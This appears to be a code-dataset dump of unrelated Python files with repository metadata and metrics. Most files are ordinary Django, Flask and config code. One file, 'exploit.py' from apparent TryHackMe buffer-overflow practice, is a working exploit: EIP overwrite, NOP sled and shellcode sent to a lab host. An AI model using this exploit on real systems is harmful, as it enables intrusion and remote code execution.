0.747744
0.706059
0.706059
0.706059
0.682853
0
0.022674
0.107706
3,361
96
124
35.010417
0.753251
0
0
0.605263
0
0
0.057126
0.013389
0
0
0
0
0
1
0
false
0
0.052632
0
0.052632
0.302632
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
cfcab80f6d377877211013744990692d255ba505
204
py
Python
nonebug/mixin/__init__.py
nonebot/nonebug
40fcd4f3eff8f4b2118e95938fabc3d77ff6819c
[ "MIT" ]
9
2021-10-09T05:19:13.000Z
2022-03-18T15:18:00.000Z
nonebug/mixin/__init__.py
AkiraXie/nonebug
5556f94f3e85a26602fc015013e9fbdda07f8c71
[ "MIT" ]
2
2021-11-23T06:29:20.000Z
2022-03-18T15:51:51.000Z
nonebug/mixin/__init__.py
AkiraXie/nonebug
5556f94f3e85a26602fc015013e9fbdda07f8c71
[ "MIT" ]
1
2022-02-19T08:57:50.000Z
2022-02-19T08:57:50.000Z
from .driver import DriverMixin as DriverMixin from .process import ProcessMixin as ProcessMixin from .call_api import CallApiMixin as CallApiMixin from .dependent import DependentMixin as DependentMixin
40.8
55
0.862745
25
204
7
0.48
0
0
0
0
0
0
0
0
0
0
0
0.117647
204
4
56
51
0.972222
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
cfcc2f11b27e478a95767cbacd03f940582d2737
103
py
Python
password_reset/apps.py
Shefin-CSE16/Course-Registration-Management
18130fc474ab9b25363d7ae3a56ebaa97a302217
[ "MIT" ]
null
null
null
password_reset/apps.py
Shefin-CSE16/Course-Registration-Management
18130fc474ab9b25363d7ae3a56ebaa97a302217
[ "MIT" ]
null
null
null
password_reset/apps.py
Shefin-CSE16/Course-Registration-Management
18130fc474ab9b25363d7ae3a56ebaa97a302217
[ "MIT" ]
null
null
null
from django.apps import AppConfig class Password_resetConfig(AppConfig): name = 'password_reset'
17.166667
38
0.786408
12
103
6.583333
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.145631
103
5
39
20.6
0.897727
0
0
0
0
0
0.135922
0
0
0
0
0
0
1
0
false
0.666667
0.333333
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
1
0
0
5
cfd85124a851ed9e0b773f5e7308b2192c527a96
24
py
Python
hack2020team/hptracker/__init__.py
nurlanov-zh/headpose-service
343b670608509cb5756fe019d05297df959eca7d
[ "MIT" ]
1
2020-04-27T08:11:45.000Z
2020-04-27T08:11:45.000Z
hack2020team/hptracker/__init__.py
nurlanov-zh/headpose-service
343b670608509cb5756fe019d05297df959eca7d
[ "MIT" ]
6
2020-09-26T00:57:30.000Z
2022-02-10T01:58:45.000Z
hack2020team/hptracker/__init__.py
nurlanov-zh/headpose-service
343b670608509cb5756fe019d05297df959eca7d
[ "MIT" ]
1
2020-04-19T07:34:10.000Z
2020-04-19T07:34:10.000Z
from .main import serve
12
23
0.791667
4
24
4.75
1
0
0
0
0
0
0
0
0
0
0
0
0.166667
24
1
24
24
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
5ca6877721389a25c1f3e47ed3ab309f2a0cfc29
740
py
Python
app/anna/main/views.py
ministre/boranova
a8c11ad3fee8cb717623d1e3b2ee5f5fcd559ebe
[ "MIT" ]
null
null
null
app/anna/main/views.py
ministre/boranova
a8c11ad3fee8cb717623d1e3b2ee5f5fcd559ebe
[ "MIT" ]
null
null
null
app/anna/main/views.py
ministre/boranova
a8c11ad3fee8cb717623d1e3b2ee5f5fcd559ebe
[ "MIT" ]
null
null
null
from django.shortcuts import render from .models import Counter, File, Photo, Video def main(request): return render(request, 'main/about.html') def achievements(request): cs = Counter.objects.all().order_by('id') return render(request, 'main/achievements.html', {'cs': cs}) def photos(request): ps = Photo.objects.all().order_by('id') return render(request, 'main/photos.html', {'ps': ps}) def videos(request): vs = Video.objects.all().order_by('id') return render(request, 'main/videos.html', {'vs': vs}) def files(request): fs = File.objects.all().order_by('id') return render(request, 'main/files.html', {'fs': fs}) def contacts(request): return render(request, 'main/contacts.html')
23.870968
64
0.672973
102
740
4.843137
0.294118
0.145749
0.230769
0.279352
0.461538
0.340081
0.340081
0.340081
0.340081
0
0
0
0.152703
740
30
65
24.666667
0.787879
0
0
0
0
0
0.159459
0.02973
0
0
0
0
0
1
0.333333
false
0
0.111111
0.111111
0.777778
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
5cc59f95e9c5a1d39c7261d2b00349fda1a68152
2,472
py
Python
9/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
9/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
9/exploit.py
SxNade/THM_Buffer-Overflow-Prep
f4818a446c5ede939492a04f53cdb7398dbc0b8e
[ "BSD-3-Clause" ]
null
null
null
import socket import sys import time print("[+] Nani???? Got shell Bruh!!\n") buff = "A" * 1514 EIP = "\x05\x12\x50\x62" # 0x62501205 JMP ESP essfunc.dll nops = "\x90" * 16 shellcode = b"" shellcode += b"\xbd\xc8\x95\xf1\x41\xda\xda\xd9\x74\x24\xf4" shellcode += b"\x5f\x29\xc9\xb1\x52\x31\x6f\x12\x03\x6f\x12" shellcode += b"\x83\x27\x69\x13\xb4\x4b\x7a\x56\x37\xb3\x7b" shellcode += b"\x37\xb1\x56\x4a\x77\xa5\x13\xfd\x47\xad\x71" shellcode += b"\xf2\x2c\xe3\x61\x81\x41\x2c\x86\x22\xef\x0a" shellcode += b"\xa9\xb3\x5c\x6e\xa8\x37\x9f\xa3\x0a\x09\x50" shellcode += b"\xb6\x4b\x4e\x8d\x3b\x19\x07\xd9\xee\x8d\x2c" shellcode += b"\x97\x32\x26\x7e\x39\x33\xdb\x37\x38\x12\x4a" shellcode += b"\x43\x63\xb4\x6d\x80\x1f\xfd\x75\xc5\x1a\xb7" shellcode += b"\x0e\x3d\xd0\x46\xc6\x0f\x19\xe4\x27\xa0\xe8" shellcode += b"\xf4\x60\x07\x13\x83\x98\x7b\xae\x94\x5f\x01" shellcode += b"\x74\x10\x7b\xa1\xff\x82\xa7\x53\xd3\x55\x2c" shellcode += b"\x5f\x98\x12\x6a\x7c\x1f\xf6\x01\x78\x94\xf9" shellcode += b"\xc5\x08\xee\xdd\xc1\x51\xb4\x7c\x50\x3c\x1b" shellcode += b"\x80\x82\x9f\xc4\x24\xc9\x32\x10\x55\x90\x5a" shellcode += b"\xd5\x54\x2a\x9b\x71\xee\x59\xa9\xde\x44\xf5" shellcode += b"\x81\x97\x42\x02\xe5\x8d\x33\x9c\x18\x2e\x44" shellcode += b"\xb5\xde\x7a\x14\xad\xf7\x02\xff\x2d\xf7\xd6" shellcode += b"\x50\x7d\x57\x89\x10\x2d\x17\x79\xf9\x27\x98" shellcode += b"\xa6\x19\x48\x72\xcf\xb0\xb3\x15\x30\xec\xba" shellcode += b"\x14\xd8\xef\xbc\xd7\xa2\x79\x5a\xbd\xc4\x2f" shellcode += b"\xf5\x2a\x7c\x6a\x8d\xcb\x81\xa0\xe8\xcc\x0a" shellcode += b"\x47\x0d\x82\xfa\x22\x1d\x73\x0b\x79\x7f\xd2" shellcode += b"\x14\x57\x17\xb8\x87\x3c\xe7\xb7\xbb\xea\xb0" shellcode += b"\x90\x0a\xe3\x54\x0d\x34\x5d\x4a\xcc\xa0\xa6" shellcode += b"\xce\x0b\x11\x28\xcf\xde\x2d\x0e\xdf\x26\xad" shellcode += b"\x0a\x8b\xf6\xf8\xc4\x65\xb1\x52\xa7\xdf\x6b" shellcode += b"\x08\x61\xb7\xea\x62\xb2\xc1\xf2\xae\x44\x2d" shellcode += b"\x42\x07\x11\x52\x6b\xcf\x95\x2b\x91\x6f\x59" shellcode += b"\xe6\x11\x8f\xb8\x22\x6c\x38\x65\xa7\xcd\x25" shellcode += b"\x96\x12\x11\x50\x15\x96\xea\xa7\x05\xd3\xef" shellcode += b"\xec\x81\x08\x82\x7d\x64\x2e\x31\x7d\xad" payload = buff + EIP + nops + shellcode s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connect to the Application s.connect(('192.168.1.117', 1337)) s.recv(1024) #Recv the banner #Finally the vulnerable command s.send('OVERFLOW9 ' + payload + '\r\n') s.send('EXIT\r\n') s.close() print("[+] Execution Finished")
39.238095
60
0.696197
496
2,472
3.465726
0.481855
0.191972
0.015125
0
0
0
0
0
0
0
0
0.217809
0.07322
2,472
62
61
39.870968
0.532519
0.041262
0
0
0
0.645833
0.639746
0.593658
0
1
0
0
0
1
0
false
0
0.0625
0
0.0625
0.041667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
0
0
0
0
0
0
0
5
5ccca5d25b787e15f570584a18d6aceabe050ee3
38
py
Python
config/settings/__init__.py
rji-futures-lab/tweets-to-text
06294ee4655734108850577774d3caf615f66520
[ "MIT" ]
1
2019-07-12T17:34:08.000Z
2019-07-12T17:34:08.000Z
config/settings/__init__.py
rji-futures-lab/tweets-to-text
06294ee4655734108850577774d3caf615f66520
[ "MIT" ]
51
2018-08-17T22:04:11.000Z
2021-09-22T18:01:10.000Z
config/settings/__init__.py
rji-futures-lab/tweets-to-text
06294ee4655734108850577774d3caf615f66520
[ "MIT" ]
1
2019-12-03T17:23:24.000Z
2019-12-03T17:23:24.000Z
"""Django project settings module."""
19
37
0.710526
4
38
6.75
1
0
0
0
0
0
0
0
0
0
0
0
0.105263
38
1
38
38
0.794118
0.815789
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
5ce76b0025279a57d6f458357884bc589070bfe2
24
py
Python
Chapter 09/ch9_7.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 09/ch9_7.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
Chapter 09/ch9_7.py
bpbpublications/TEST-YOUR-SKILLS-IN-PYTHON-LANGUAGE
f6a4194684515495d00aa38347a725dd08f39a0c
[ "MIT" ]
null
null
null
print(dict(jan=1,feb=2))
24
24
0.708333
6
24
2.833333
1
0
0
0
0
0
0
0
0
0
0
0.083333
0
24
1
24
24
0.625
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
7a4f43cad642749cda5c434da94f72432a5df6db
151
py
Python
FCSAppAccess/exceptions.py
CPSuperstore/FangCloudServicesAppAccessSDK
afbfe83741c462dd7f8ef0d38e6c9dbe9e5ac733
[ "Apache-2.0" ]
null
null
null
FCSAppAccess/exceptions.py
CPSuperstore/FangCloudServicesAppAccessSDK
afbfe83741c462dd7f8ef0d38e6c9dbe9e5ac733
[ "Apache-2.0" ]
null
null
null
FCSAppAccess/exceptions.py
CPSuperstore/FangCloudServicesAppAccessSDK
afbfe83741c462dd7f8ef0d38e6c9dbe9e5ac733
[ "Apache-2.0" ]
null
null
null
class InvalidGrantException(Exception): pass class AccessDeniedException(Exception): pass class ExpiredTokenException(Exception): pass
13.727273
39
0.774834
12
151
9.75
0.5
0.333333
0.307692
0
0
0
0
0
0
0
0
0
0.165563
151
10
40
15.1
0.928571
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
7a691c178c4a1e6817a33c9fb6cc581431763af4
30
py
Python
shelf/__init__.py
MIT-Informatics/PreservationSimulation
38c6641a25108022ce8f225a352f566ad007b0f3
[ "X11" ]
9
2016-08-24T05:54:45.000Z
2020-11-12T16:44:48.000Z
shelf/__init__.py
MIT-Informatics/PreservationSimulation
38c6641a25108022ce8f225a352f566ad007b0f3
[ "X11" ]
1
2021-03-20T02:55:37.000Z
2021-03-20T02:55:37.000Z
shelf/__init__.py
MIT-Informatics/PreservationSimulation
38c6641a25108022ce8f225a352f566ad007b0f3
[ "X11" ]
null
null
null
# Nothing to say here, yet.
15
29
0.633333
5
30
3.8
1
0
0
0
0
0
0
0
0
0
0
0
0.266667
30
1
30
30
0.863636
0.833333
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
7a7cc09ceac642e2c3508ba180f40007bedacee3
339
py
Python
wrappers/python/manual/virgil_crypto/foundation/hash_stream.py
odidev/virgil-crypto-c
3d5d5cb19fdcf81eab08cdc63647f040117ecbd8
[ "BSD-3-Clause" ]
26
2018-12-17T13:45:25.000Z
2022-01-16T20:00:04.000Z
wrappers/python/manual/virgil_crypto/foundation/hash_stream.py
odidev/virgil-crypto-c
3d5d5cb19fdcf81eab08cdc63647f040117ecbd8
[ "BSD-3-Clause" ]
4
2019-01-03T12:08:52.000Z
2021-12-02T05:21:13.000Z
wrappers/python/manual/virgil_crypto/foundation/hash_stream.py
odidev/virgil-crypto-c
3d5d5cb19fdcf81eab08cdc63647f040117ecbd8
[ "BSD-3-Clause" ]
8
2019-01-24T08:22:06.000Z
2022-02-07T11:37:00.000Z
from abc import ABCMeta, abstractmethod class HashStream(object): __metaclass__ = ABCMeta @abstractmethod def start(self): raise NotImplementedError() @abstractmethod def update(self, data): raise NotImplementedError() @abstractmethod def finish(self): raise NotImplementedError()
17.842105
39
0.681416
29
339
7.827586
0.586207
0.22467
0.246696
0.361233
0
0
0
0
0
0
0
0
0.247788
339
18
40
18.833333
0.890196
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.083333
0
0.5
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
5
7a88eac62fac3f8402073e1824a9900e34cc3636
12
py
Python
python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertOneElementTupleToList.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2018-12-29T09:53:39.000Z
2018-12-29T09:53:42.000Z
python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertOneElementTupleToList.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/intentions/PyConvertCollectionLiteralIntentionTest/convertOneElementTupleToList.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
(<caret>42,)
12
12
0.583333
2
12
3.5
1
0
0
0
0
0
0
0
0
0
0
0.166667
0
12
1
12
12
0.416667
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
7a8e3846f293f50b0e7f07fbca0186f11d400a3e
108
py
Python
1-Lists/sort-list/sort-list.py
l33th/intermediate-python-programming
4cdb688b2ae6d5dc36970c1dd9aadfc5258aa6e7
[ "MIT" ]
1
2021-12-19T07:17:17.000Z
2021-12-19T07:17:17.000Z
1-Lists/sort-list/sort-list.py
l33th/advanced-python-programming
4cdb688b2ae6d5dc36970c1dd9aadfc5258aa6e7
[ "MIT" ]
null
null
null
1-Lists/sort-list/sort-list.py
l33th/advanced-python-programming
4cdb688b2ae6d5dc36970c1dd9aadfc5258aa6e7
[ "MIT" ]
null
null
null
num_list = [2, 5, 7, 1, -5, -3, -2, -8, 32, 44, 56] print(num_list) nums = num_list.sort() print(num_list)
18
51
0.592593
23
108
2.608696
0.608696
0.466667
0.4
0
0
0
0
0
0
0
0
0.157303
0.175926
108
5
52
21.6
0.516854
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
5
7ab4f05a9b59f86dfcef4fd592ddc9804a5a4c5d
67
py
Python
cobaia.py
CarlosBueno99/Download-it-and-structure-it
272bf544c4090b0ca7f3497c5de8d50b001b190c
[ "MIT" ]
null
null
null
cobaia.py
CarlosBueno99/Download-it-and-structure-it
272bf544c4090b0ca7f3497c5de8d50b001b190c
[ "MIT" ]
null
null
null
cobaia.py
CarlosBueno99/Download-it-and-structure-it
272bf544c4090b0ca7f3497c5de8d50b001b190c
[ "MIT" ]
null
null
null
import os print("pipoca".center(int(os.get_terminal_size()[0])))
13.4
54
0.716418
11
67
4.181818
0.909091
0
0
0
0
0
0
0
0
0
0
0.016129
0.074627
67
5
54
13.4
0.725806
0
0
0
0
0
0.088235
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
1
0
5
8f8a9629b35a1e0089ea30918b9b0d98976f0304
410
py
Python
tests/conftest.py
TheShubhendra/gita
955bade9699eba52df4f8598b73965fd685f6a62
[ "MIT" ]
2
2020-09-08T09:38:18.000Z
2020-09-08T14:02:20.000Z
tests/conftest.py
TheShubhendra/gita
955bade9699eba52df4f8598b73965fd685f6a62
[ "MIT" ]
2
2020-09-10T13:44:58.000Z
2021-02-14T13:21:04.000Z
tests/conftest.py
TheShubhendra/gita
955bade9699eba52df4f8598b73965fd685f6a62
[ "MIT" ]
1
2020-09-08T14:11:36.000Z
2020-09-08T14:11:36.000Z
import os import pytest from pygita import Client CLIENT_ID = os.getenv("CLIENT_ID") CLIENT_SECRET = os.getenv("CLIENT_SECRET") @pytest.fixture(scope="session") def client(): return Client(CLIENT_ID, CLIENT_SECRET) # @pytest.fixture(scope="session") # def verse(client): # return client.get_verse(4,5) # @pytest.fixture(scope="session") # def chapter(client): # return client.get_chapter(4)
18.636364
43
0.72439
57
410
5.070175
0.333333
0.083045
0.186851
0.259516
0.373702
0.276817
0.276817
0
0
0
0
0.008451
0.134146
410
21
44
19.52381
0.805634
0.417073
0
0
0
0
0.125
0
0
0
0
0
0
1
0.125
false
0
0.375
0.125
0.625
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
1
1
0
0
5
8f9fbeb7d9e1dcc3a78120bb1e78086708944fab
36
py
Python
iroha_db_api/project/server/blocks/__init__.py
2hoursleep/iroha-db-api
a3a99273749f23ea004fa37236fc2a2a443cea99
[ "MIT" ]
null
null
null
iroha_db_api/project/server/blocks/__init__.py
2hoursleep/iroha-db-api
a3a99273749f23ea004fa37236fc2a2a443cea99
[ "MIT" ]
null
null
null
iroha_db_api/project/server/blocks/__init__.py
2hoursleep/iroha-db-api
a3a99273749f23ea004fa37236fc2a2a443cea99
[ "MIT" ]
null
null
null
# project/server/blocks/__init__.py
18
35
0.805556
5
36
5
1
0
0
0
0
0
0
0
0
0
0
0
0.055556
36
1
36
36
0.735294
0.916667
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
8ff8fa5a86b207e8850e5b996fd28b3041c3200e
209
py
Python
conversation/models/manager/pvchat_manager.py
ThePokerFaCcCe/messenger
2db3d5c2ccd05ac40d2442a13d664ca9ad3cb14c
[ "MIT" ]
null
null
null
conversation/models/manager/pvchat_manager.py
ThePokerFaCcCe/messenger
2db3d5c2ccd05ac40d2442a13d664ca9ad3cb14c
[ "MIT" ]
null
null
null
conversation/models/manager/pvchat_manager.py
ThePokerFaCcCe/messenger
2db3d5c2ccd05ac40d2442a13d664ca9ad3cb14c
[ "MIT" ]
null
null
null
from django.db.models.manager import BaseManager from ..queryset import PrivateChatQuerySet class PrivateChatManager( BaseManager.from_queryset( PrivateChatQuerySet )): pass
19
48
0.712919
18
209
8.222222
0.666667
0.202703
0.310811
0
0
0
0
0
0
0
0
0
0.23445
209
10
49
20.9
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.142857
0.285714
0
0.428571
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
64dfc72638681b406fa1337351770cafb28857df
2,668
py
Python
REST_API/Unit Tests.py
Shafiq-Kyazze/Netflix-Data-Pipeline-and-Rest-API
9f549a29b8c6a2e5d346235e4f57de6cca8e6dd0
[ "MIT" ]
null
null
null
REST_API/Unit Tests.py
Shafiq-Kyazze/Netflix-Data-Pipeline-and-Rest-API
9f549a29b8c6a2e5d346235e4f57de6cca8e6dd0
[ "MIT" ]
null
null
null
REST_API/Unit Tests.py
Shafiq-Kyazze/Netflix-Data-Pipeline-and-Rest-API
9f549a29b8c6a2e5d346235e4f57de6cca8e6dd0
[ "MIT" ]
null
null
null
from run import app import unittest """Creating testing class""" class ApiTest(unittest.TestCase): """Checking if create-user endpoint works""" def test_create(self): tester = app.test_client(self) #Configuring Api application for testing response = tester.post("/create") #Obtaining an object from the search person url end point statuscode = response.status_code #Getting the status code of the response object self.assertEqual(statuscode, 200) #Comparing to see if the response return is the success response i.e 200 """Checking if login endpoint works""" def test_login(self): tester = app.test_client(self) #Configuring Api application for testing response = tester.post("/login") #Obtaining an object from the search person url end point statuscode = response.status_code #Getting the status code of the response object self.assertEqual(statuscode, 200) #Comparing to see if the response return is the success response i.e 200 """Checking if get all movies endpoint works""" def test_get_all(self): tester = app.test_client(self) #Configuring Api application for testing response = tester.get("/allmovies") #Obtaining an object from the search person url end point statuscode = response.status_code #Getting the status code of the response object self.assertEqual(statuscode, 200) #Comparing to see if the response return is the success response i.e 200 """Checking if get all profiles endpoint works""" def test_get(self): tester = app.test_client(self) response = tester.get("/movie/<title>") statuscode=response.status_code self.assertEqual(statuscode,200) """Checking if delete single profile endpoint works""" def test_add_movie(self): tester = app.test_client(self) response = tester.post("/movie/add") #Deleting profile from database statuscode = response.status_code self.assertEqual(statuscode, 200) """Checking if content returned by API is in json format""" def test_alter_movie(self): tester = app.test_client(self) response = tester.put("/movie/<title>/alter") statuscode = response.status_code self.assertEqual(statuscode, 200) """Checking if content return by API is in json format""" def test_delete_movie(self): tester = app.test_client(self) response = tester.delete("/movie/<title>/alter") statuscode = response.status_code self.assertEqual(statuscode,200) if __name__ == "__main__": #Running the python file unittest.main(verbosity=1)
44.466667
115
0.697151
348
2,668
5.25
0.229885
0.054735
0.049808
0.065134
0.795293
0.770115
0.770115
0.770115
0.719212
0.643678
0
0.014825
0.216267
2,668
60
116
44.466667
0.858919
0.273238
0
0.525
0
0
0.059786
0
0
0
0
0
0.175
1
0.175
false
0
0.05
0
0.25
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
64f06e1588fcff0585ced19fc4ab35be208b9539
174
py
Python
vertica_python/vertica/messages/frontend_messages/flush.py
jbfavre/vertica-python
c53ffc49a971e9a806679f95e8680847120f49e4
[ "MIT" ]
1
2016-10-01T20:28:31.000Z
2016-10-01T20:28:31.000Z
vertica_python/vertica/messages/frontend_messages/flush.py
jbfavre/vertica-python
c53ffc49a971e9a806679f95e8680847120f49e4
[ "MIT" ]
null
null
null
vertica_python/vertica/messages/frontend_messages/flush.py
jbfavre/vertica-python
c53ffc49a971e9a806679f95e8680847120f49e4
[ "MIT" ]
null
null
null
from __future__ import absolute_import from vertica_python.vertica.messages.message import FrontendMessage class Flush(FrontendMessage): pass Flush._message_id('H')
15.818182
67
0.816092
21
174
6.380952
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.12069
174
10
68
17.4
0.875817
0
0
0
0
0
0.005747
0
0
0
0
0
0
1
0
true
0.2
0.4
0
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
5
64f521952f3786858b1979290800251c69f67bcb
463
py
Python
ex2-29.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
ex2-29.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
ex2-29.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
#29 n = [float(input("Digite a nota 1: ")), float(input("Digite a nota 2: ")), float(input("Digite a nota 3: ")), float(input("Digite a nota 4: "))] q = (n[0] + n[1] + n[2] + n[3])/4 print("({:.2f} + {:.2f} + {:.2f} + {:.2f})/4 = {:.2f}/4 = {:.2f}".format(n[0], n[1], n[2], n[3], n[0]+n[1]+n[2]+n[3], q))
51.444444
96
0.308855
63
463
2.269841
0.253968
0.27972
0.447552
0.475524
0.755245
0.167832
0.167832
0.167832
0
0
0
0.105058
0.444924
463
9
97
51.444444
0.451362
0.00432
0
0
0
0.125
0.27115
0
0
0
0
0
0
1
0
false
0
0
0
0
0.125
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
56c7e589458d9f97bb231e811c67fa964ad5e717
117
py
Python
webresume/api/admin.py
cmput401-fall2018/web-app-ci-cd-with-travis-ci-Coursaux
293096b7a8fbb918791cccb34934ff53f396e981
[ "MIT" ]
null
null
null
webresume/api/admin.py
cmput401-fall2018/web-app-ci-cd-with-travis-ci-Coursaux
293096b7a8fbb918791cccb34934ff53f396e981
[ "MIT" ]
8
2021-02-08T20:26:12.000Z
2022-03-11T23:33:56.000Z
webresume/api/admin.py
cmput401-fall2018/web-app-ci-cd-with-travis-ci-Coursaux
293096b7a8fbb918791cccb34934ff53f396e981
[ "MIT" ]
null
null
null
from django.contrib import admin from.models import Person admin.site.register(Person) # Register your models here.
19.5
32
0.811966
17
117
5.588235
0.647059
0
0
0
0
0
0
0
0
0
0
0
0.119658
117
5
33
23.4
0.92233
0.222222
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
56d35a24d0fd2efd7ec2559af20e80e10e238dc7
43
py
Python
Basic/ReadFile.py
samreachyan/programiz-python
cc518e196569918560276369046d755def7957fc
[ "MIT" ]
null
null
null
Basic/ReadFile.py
samreachyan/programiz-python
cc518e196569918560276369046d755def7957fc
[ "MIT" ]
null
null
null
Basic/ReadFile.py
samreachyan/programiz-python
cc518e196569918560276369046d755def7957fc
[ "MIT" ]
null
null
null
import os os.getcwd() print(os.listdir())
8.6
19
0.697674
7
43
4.285714
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.116279
43
5
19
8.6
0.789474
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0.333333
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
85662a38af4c2e01ee08f23968317841240346d5
102
py
Python
config/constants.py
austinpray/kizuna
b6f59b7d4a67ac68be65b75626e9f30c10f21e18
[ "MIT" ]
3
2018-04-18T04:52:50.000Z
2019-11-07T18:47:43.000Z
config/constants.py
austinpray/kaori
b21c4146b9d0d27b87015cff0768138568a12e9c
[ "MIT" ]
287
2020-04-21T02:39:47.000Z
2022-03-28T13:11:59.000Z
config/constants.py
austinpray/kaori
b21c4146b9d0d27b87015cff0768138568a12e9c
[ "MIT" ]
1
2020-10-22T00:20:43.000Z
2020-10-22T00:20:43.000Z
MINUTE_IN_SECONDS = 60 HOUR_IN_SECONDS = MINUTE_IN_SECONDS * 60 DAY_IN_SECONDS = HOUR_IN_SECONDS * 24
25.5
40
0.823529
18
102
4.111111
0.388889
0.608108
